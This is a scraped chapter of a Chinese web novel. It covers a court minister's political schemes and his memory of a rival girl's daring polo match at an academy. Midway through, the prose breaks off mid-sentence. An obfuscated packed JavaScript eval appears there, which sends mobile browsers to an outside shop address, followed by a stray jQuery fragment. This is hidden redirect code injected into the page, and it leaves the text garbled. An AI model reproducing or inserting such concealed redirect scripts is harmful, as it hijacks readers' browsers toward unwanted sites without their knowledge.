文趣网 > 都市小说 > 吾主缺德 > 64. 君可为,我亦可为( 1)
    马车内,宫禧盯着白清水的后脖颈。那里留着三个竖成一排的针眼。

    这应该就是白师兄平时稳住白掌柜的手段。方才白清水出手时用的是左手,显然现在掌控这具身体的是白掌柜。

    宫禧微笑着拿起果盘里的橘子开始剥起来。清爽的橘香迅速在马车里扩散。

    “阿兄。”

    白清水轻声应道,“何事?”

    宫禧将橘子递到白清水手里。随后他蹲在白清水面前,小声问道:“阿兄最近可是经常梦魇?”

    白清水缓缓垂下头,眉头微皱,袖中的傀儡丝蠢蠢欲动。他最忌讳别人提起他的异常。但想到他是阿棠的丈夫,此番南下,阿棠让他保护好这个多管闲事的家伙。

    白掌柜长舒一口气,回答道:“是。”

    “庾东风对于治理梦魇很有一手,她曾经教过我一点方法,要不要我替阿兄试试?”

    “是吗?”白掌柜微微笑道,“那你可以试试。”

    宫禧从自己的工具箱里,拿出一整套针灸工具。针灸不是他的家学,但是通过对比针孔的大小,他也在那群密密麻麻的长针里找出那三根。

    宫禧撇开白清水的头发,小声哄道:“阿兄忍忍,一开始可能有点痛。”

    第一根扎下去,白清水只是微微皱眉,并没有反常。宫禧紧接着扎下第二根,白清水身体抽搐了一下,拳头不自觉握紧。

    “庄主,你确定吗?”

    宫禧眯着眼睛,弯弯嘴角,“确定。”

    第三针扎下去,白清水猛然抬头,像是有无形的丝线吊着他的脑袋。宫禧松开银针的那一刻,白清水缓缓倒了下去。

    宫禧毫不意外地眨了眨眼。他面无表情地瞥着白清水,语气冷淡,“大国师的内应?真该死。”

    宫禧拉开拉窗,太阳的光辉洒进马车里。他倚在扶椅上小憩片刻。

    窗外的云在湛蓝的天空下悠扬地漂浮着,偶有一群大雁追在马车的末尾,随着他们一起南下。

    马车内光影交替变换,日照照入车内的东南角,原先灼热的日光逐渐变得柔和。

    暮夜之际,马车驶入翎城。

    晨光初晓,阳光将风华殿上的脊兽唤醒。风华殿内,魏脩抬眼望向武官行列。

    周汀兰身穿月白文武袖,腰佩长剑,手里执着笏板。他目光凛然,夹带着一丝挑衅,抬眼看向魏脩。

    魏脩弯弯嘴角,看向文官里刚调任回京的翎州刺史月息云。月息云倒是乖顺的,手里拿着笏板一声不吭站在文官队伍里,头也不抬一下。

    散朝后,魏脩站在自己的书房里。

    桌子上还留着那副小小的书法作品。玄色的衣袍掠过桌案的一角,将作品绊倒。魏脩回过头,小心地将作品擦擦握在手里。

    他抬眼看向前方的图屏。四角依次写上祁、宫、阮、周。每一个姓氏下都有对应的家主、派系、分支。魏脩用红色的笔墨将有关联的人物一次连起来,千丝万缕最后在庾东风的名字上汇集成点。

    看见红点出现的那一刻,魏脩手中的毛笔掉落在地上,发出一声脆响。他无措地眨了眨眼,指尖颤颤巍巍点上那一抹红。

    红色的颜料在他的指尖上,鲜艳如血。魏脩捻开那一抹红,自嘲笑了一声,心里开始盘算着。

    “月白,”魏脩朝着门口呼喊一声,随后吩咐道,“给无漾山庄送一张请帖。过几日就是魏国立秋节,迎秋仪式结束后请她在西郊小叙。”

    迎秋仪式,魏国隆重的国家典礼。天子率文武百官穿白衣、佩白玉。众人会前往都城的西郊,献上牺牲、祭祀昊天上帝、白帝少昊以及金神蓐收。

    每逢这种祭祀大典,魏槐安都会有各种借口。魏脩对于如何主持祭祀已经轻车熟路。

    他挽过帘子,来到自己临时休憩的地方。那里简单放置了一张床塌,满地都是他写的废稿。

    魏脩扒拉开自己的稿子,勉强找到一块空地。他长叹一口气坐在地上。

    伴随着纸张被折叠的脆响,魏脩缓缓躺下。他随手拿起一张稿子。稿子上还描写着拂溪客一枪串起三个人的场景。

    魏脩又叹了一口气,他举着手里的小书法。对着小书法作品呢喃道:“我……也不是很差劲吧……她应该不会拒绝的吧……”

    魏脩随后又叹了一口气,躺在那些废稿中。白花花的故纸堆里,魏脩缓缓闭上眼睛。玄色的朝服在白纸中,犹如一笔浓墨重彩的墨痕,鼻尖尚且还能嗅到枯朽陈旧的墨香味。

    那股老旧的味道,倒是与万国书院的书架一个样。

    魏脩在万国书院的第四年,也就是他十二岁那一年。因为腿脚受伤,不能参与书院的马球比赛,又不想让庾东风看见他一瘸一拐的糗样。所以他偷偷躲到僻静的山上,拿着千里镜看。

    那时候恰逢盛夏,空山静,蝉鸣噪。魏脩千挑万选选在一棵桑树下。

    马场上,庾东风一手持着缰绳,一边压低肩膀与马背齐平。额头上的妃色抹额与马儿的鬃毛一起在风中荡漾。

    庾东风紧盯着马球正要击打,旁边却有一根球杖勾住她的手臂,要将她从马背上拽下来。

    周国尚武,在马球比赛过程中,只要球杆不直击胸腔及以上,两棚队员在马背上切磋是被允许的。“无人敢夺在先筹”在周国也是子虚乌有,只要不用暗器,谁抢到球就算谁的。

    魏脩就是因为不知道规则,在赛前演练时被庾东风从马上击下,摔倒了腿脚。

    庾东风顺着球杖看向来人。她也没惯着,转腕将球杖抛掷道半空,换右手接住。左手挣脱对方的球杖后,庾东风夹紧马腹,双手脱离缰绳,紧握球杖奋力一挥,将那人从马上拍了下去。

    被拍下去的人是小时候的周天子。

    宫禧站在场外焦急地喊:“周缜快起来啊,庾东风要进球了!快起来啊!”

    周缜扶着胳膊,呸掉嘴里的沙子,重新翻身上马。追上庾东风。

    沙场上尘土飞扬,马球被两棚人击来击去,在沙地上留下不规则的轨迹。庾东风策马飞驰,汗水滴落在马背上,又从马背上滑落到沙土中。

    每次看见有人要从庾东风身后偷袭她,场外的魏脩都会跟着一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740073|202383||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    起紧张。

    庾东风运着球,正要击球响鼓。周缜纵马撞上她马儿的肩膀。庾东风整个人身子歪斜,被马儿带着跑像断了线的风筝摇摇欲坠。

    庾东风一手抓住缰绳,挺腰重新抓住另一端的缰绳,像从水中回弹的芦苇一般重新浮上马背。待庾东风稳定身形,勒马回望,追上周缜。

    打马球不能离开马背,在周国是成立的。但没说只能骑自己的马。

    于是庾东风追上周缜,用球杖勾住他的缰绳,迫使两匹马并驾。在周缜诧异的目光中,庾东风一脚斜挎在马上,一脚踢走周缜的马镫,扯住周缜的腰带将他甩到沙地上。

    球场上争抢马匹,在周国从未出现。场上的众人惊呼一声,随后拍手叫好。

    庾东风骑上周缜的马,将自己的烈马留下。

    场上马儿的数量是有限的,周缜别无她选,只能骑上庾东风的狮子骢。

    待他驯服马儿骑上狮子骢,庾东风已经将球运到鼓前。

    “嘭——”一声,庾东风将球击到鼓上,发出震耳欲聋的声响。

    唱筹员高声呼喊道:“清风海棠得筹——”,随后一面妃色的清风海棠旗便插在庾东风那队的空架上。

    清风海棠一队率先插满三面旗,对面的白鱼跃舟旗尚有一个空位。

    场边鼓乐不停,振奋人心。妃色的旗帜迎风招展,旗面上的清风海棠纹在千里镜中格外耀眼。

    庾东风骑着周缜的马在球场上挥杆欢呼,千千万万朵鲜花从看台洒向庾东风。最后她伸手将周缜拉到马上,两人共乘一骑走出马场。

    “请尽情夸赞我们吧——”

    妖帝在场外笑得合不拢嘴,直呼,“后生可畏!赐花,上赏!”

    这些魏脩在山上看得清清楚楚,也听得真真切切。他默默将千里镜收起,正打算下山。

    他腿脚有些不便,想着可以拉桑树的枝干借力一把。谁知手刚碰上枝干,一股钻心的刺痛就从手掌蔓延至全身。

    魏脩惊叫一声,定睛一看枝干背面正趴着一只浑身带刺的刺蛾幼虫。

    手掌火辣辣地烧着,一股股灼痛在手心翻涌。

    马背上,庾东风循着声音回过头。

    魏脩甩掉手上的虫子,赶紧就地蹲下来。双手捂着嘴巴,嘤嘤哭泣。

    少顷,魏脩呼吸逐渐失序,喘不上气来,倒在老桑树下。

    再睁开眼,魏脩的脸有些讷然。他扶着昏沉的头缓缓坐起。

    映入眼帘的不是万国书院,是满眼的废纸。

    至今为止,魏脩不知道是谁把他带书院。他躲的那个地方尤其隐蔽。那颗老桑树枝叶繁茂,一个十二岁的小孩子随随便便就能被遮住。

    魏脩下意识看向自己的左手,他试着蜷缩几下,仿佛那里还缠着十二岁时的绷带。

    “我吉人自有天相,说不定是神仙送我回来的。”

    说完魏脩踉跄着站起来,弯下腰将自己的稿子一张一张捡起来整理好。按照时间顺序、章节顺序一一整理放到木盒里。

    最后将木盒上锁,放到了书架上。